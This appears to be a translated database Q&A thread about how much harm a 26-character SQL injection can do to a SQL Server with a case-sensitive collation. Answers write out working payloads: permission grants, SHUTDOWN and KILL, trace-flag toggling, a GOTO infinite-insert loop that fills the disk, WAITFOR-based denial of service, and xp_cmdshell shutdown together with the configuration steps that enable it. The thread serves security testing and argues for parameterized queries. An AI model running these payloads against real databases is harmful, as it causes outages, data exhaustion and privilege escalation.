Injection SQL Server - combien de dégâts en 26 caractères?

21

Je teste la résilience contre les attaques par injection sur une base de données SQL Server.

Tous les noms de table dans la base de données sont en minuscules et le classement est sensible à la casse, Latin1_General_CS_AS .

La chaîne que je peux envoyer est forcée en majuscules et peut avoir un maximum de 26 caractères. Je ne peux donc pas envoyer de DROP TABLE car le nom de la table serait en majuscules et donc l'instruction échouerait en raison du classement.

Alors - quel est le maximum de dégâts que je pourrais faire en 26 caractères?

MODIFIER

Je sais tout sur les requêtes paramétrées et ainsi de suite - imaginons que la personne qui a développé le frontend qui construit la requête à envoyer n'a pas utilisé de paramètres dans ce cas.

Je n'essaie pas non plus de faire quoi que ce soit de néfaste, c'est un système construit par quelqu'un d'autre dans la même organisation.

Alan B
la source
1
Imaginons-nous ou testez-vous réellement un stylo et avez-vous des exigences qui vous interdisent d'éviter l'injection? Cherchez-vous un moyen de briser son manque de sécurité?
LowlyDBA
41
Pourquoi est-il même possible de laisser la porte ouverte? Il semble que vous ayez déjà passé plus de temps à réfléchir à cela qu'il n'en coûterait pour verrouiller la porte. Je considère cela comme un exercice infructueux - si vous trouvez 10 vulnérabilités, ils diront que nous allons brancher ces 10 vulnérabilités, et il n'y en aura certainement pas 11. C'est là que les chaînes de «nettoyage» nous ont menés. / facepalm
Aaron Bertrand
5
C'est une question incroyablement vague et arbitraire, et elle ne peut même pas être théoriquement abordée. Il existe d'autres fonctionnalités natives d'atténuation de SQL Injection (autorisations, bac à sable, pare-feu, etc.), et vous devrez tenir compte de toutes ces choses afin de répondre à cette question.
Evan Carroll,
2
Qu'est-ce qui impose la limite de 26 caractères? L'application?
Jonathan Fite
7
Arrête ça. Arrête ça. Si les requêtes paramétrées sont à distance une option, utilisez-les . Si quelqu'un d'autre ne sait pas comment les utiliser, trouvez une ressource décente et demandez-lui de la lire. S'ils n'écoutent pas, informez un gestionnaire ou un superviseur qu'ils produisent des failles de sécurité critiques (une démo non destructive ne ferait pas de mal.) Et refusez d'être éduqué.
jpmc26

Réponses:

38

Facile:

GRANT EXECUTE TO LowlyDBA

Ou, je suppose que dans ce cas, ce serait

grant execute to lowlydba 

Faites votre choix de variations à ce sujet.

Selon toute vraisemblance, vous pourrez peut-être le tester maintenant par rapport à votre système actuel, mais un certain nombre de petites modifications dans la base de données au fil du temps pourraient invalider vos tests. La chaîne de caractères pourrait changer, quelqu'un pourrait créer une procédure stockée en minuscules qui a un potentiel destructeur - n'importe quoi. Vous ne pouvez jamais dire avec 100% de confiance qu'il n'y a pas d'attaque destructrice de 26 personnages que quelqu'un pourrait construire.

Je vous suggère de trouver un moyen de faire en sorte que le développeur suive les meilleures pratiques de sécurité standard de l'industrie, ne serait-ce que pour vous-même en tant que personne dont je présume qu'il est au moins partiellement responsable en cas de violation de la sécurité.

Éditer:

Et pour la malveillance / le plaisir, vous pouvez essayer d'activer chaque indicateur de trace. Ce serait intéressant à observer. Se sent comme un article de blog que Brent Ozar ferait ...

DBCC TRACEON(xxxx, -1)
LowlyDBA
la source
1
En plus de permettre des indicateurs de trace: modification des différents paramètres aléatoires: SET LOCK_TIMEOUT 0;, SET LANGUAGE Malaysian;, SET ANSI_NULLS OFF:...
ypercubeᵀᴹ
2
@ ypercubeᵀᴹ, ils n'affecteraient que votre propre session.
Martin Smith
2
@MartinSmith thnx. Si SETn'affecte que les paramètres de session, comment les paramètres de la base de données et du serveur sont-ils modifiés ( ALTER DATABASE ...;?) DROP DATABASE ..;Infligeraient plus de dégâts que si cela réussissait;)
ypercubeᵀᴹ
1
Modifiez la base de données et sp_configure principalement pour les paramètres de niveau DB et serveur. Bien que vous puissiez atteindre la limite de 26 caractères avec ces derniers. De plus, ces paramètres spécifiques au niveau de la base de données ne sont utilisés que si la connexion client ne les définit pas. Et par défaut, la plupart ou tous le font.
Martin Smith
7
Je ressemble à cette remarque.
Brent Ozar
22

La SHUTDOWNcommande ou la KILLcommande (choisissez un nombre aléatoire supérieur à 50) prennent toutes deux nettement moins de 26 caractères, bien que le compte exécutant les requêtes d'application ne dispose, espérons-le, pas des autorisations suffisantes pour les exécuter.

Martin Smith
la source
Habituellement, le compte n'a pas besoin de déposer une table non plus ...
Greg
3
@Greg yep. Bien que vous puissiez supposer qu'un environnement qui envisage d'autoriser l'injection SQL tant que la longueur est courte ne suit pas les meilleures pratiques de sécurité et les comptes peuvent ne pas être configurés avec des autorisations minimales.
Martin Smith
14

Vous pouvez créer une table que vous remplissez ensuite jusqu'à la fin du temps ou jusqu'à épuisement de l'espace disque, selon la première éventualité.

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc
Mikael Eriksson
la source
19
@AlanB Eh bien, alors vous auriez besoin de quelque chose qui m'empêche d'exploiter la faiblesse plus d'une fois.
Mikael Eriksson
1
tarnations ... while 1=1 insert t values('')is 30 ... create table x(i int)=> while 1=1 insert t select 0is 27
WernerCD
1
Pourriez-vous l'utiliser pour créer une commande plus longue que la limite de caractères, puis l'exécuter?
Lawtonfogle
1
@MartinSmith Je pensais que je partirais comme ça mais maintenant je dois l'essayer :). Je vous ferai savoir si je le comprends.
Mikael Eriksson
7
@WernerCD a x:insert t select 0 GOTO xexactement 26 ans.
Martin Smith
4

Selon votre définition des dommages, vous pouvez exécuter ceci: WAITFOR DELAY '23: 59 'Pour être vraiment mauvais, vous pouvez utiliser un outil de test de charge pour exécuter cela à partir de 32 768 clients.

user143642
la source
1
Si la chaîne est injectée dans un lot ad hoc qui contient des verrous, cela pourrait entraîner un déni de service viable en un seul appel sans avoir à provoquer la famine du thread.
David Spillett
3

Variation basée sur la réponse de @ MikaelEriksson et la réponse de @ MartinSmith à mon commentaire initial:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

Au départ, j'avais essayé de faire une déclaration WHILE, mais le mieux que je pouvais faire était de 27 caractères:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

Mais Martin a souligné GOTO:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... la racine de tous les maux et créateur d'une instruction d'insertion de boucle infinie en 26 caractères.

Cela dit ... il pourrait être avantageux de s'en tenir à CHAR (99) au lieu de int car cela utiliserait plus d'espace. D'autres options utilisent des noms plus longs et briseraient la limite de 26 caractères ... ou utiliseraient moins d'espace de stockage par ligne.

Code de test complet:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO
WernerCD
la source
1
set @S = 'x:insert t;select 0;GOTO x';pour une compatibilité future de votre attaque par injection;)
ypercubeᵀᴹ
@ ypercubeᵀᴹ Vous avez ajouté deux ;s ... le second est très bien - remplace un espace et est fonctionnel s'il n'est pas nécessaire. La première rompt la requête - sépare l'instruction INSERT de l'instruction SELECT.
WernerCD
Ah oui. C'est ce qui arrive quand on n'utilise pas de séparateurs! Nous ne savons pas où se termine chaque requête et quand commence la suivante!
ypercubeᵀᴹ
1
@WarnerCD je sais. C'était plus une blague sur la procédure de dépréciation dans SQL Server. Cela semble prendre pour toujours. Néanmoins, il est recommandé d'utiliser des points-virgules entre les instructions et pas seulement là où cela est nécessaire.
ypercubeᵀᴹ
2
@yper Je doute que cela soit appliqué. Il y a probablement une tonne de code hérité qui nécessiterait l'ajout de points-virgules manquants sans aucune valeur commerciale particulière. Et il peut être intégré dans des applications difficiles ou impossibles à mettre à jour.
Martin Smith
0
XP_CMDSHELL 'SHUTDOWN -PF'

En fonction de la gravité des dégâts que vous considérez comme une mise hors tension. :-)

Cela nécessite l'activation de xp_cmdshell sur le serveur, ce qui n'est pas le cas pour les dernières versions de SQL Server. Cela nécessite également que le compte de service dispose du droit de fermeture, qu'il peut ou non avoir.

L'activation de xp_cmdshell dépasse probablement votre limite de 26 caractères. Autoriseriez-vous plusieurs injections?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE
Marcheur de Greenstone
la source
1
L'EXEC n'est facultatif que s'il s'agit de la première instruction du lot. Ce qui ne sera probablement pas le cas ici.
Martin Smith
@Martin Smith, bon commentaire. EXEC ajoute 5 caractères à chaque ligne d'appel de procédure, ce qui repousse la plupart d'entre eux sur 26 caractères. Je me demande si CREATE ALIAS pourrait aider ici?
Greenstone Walker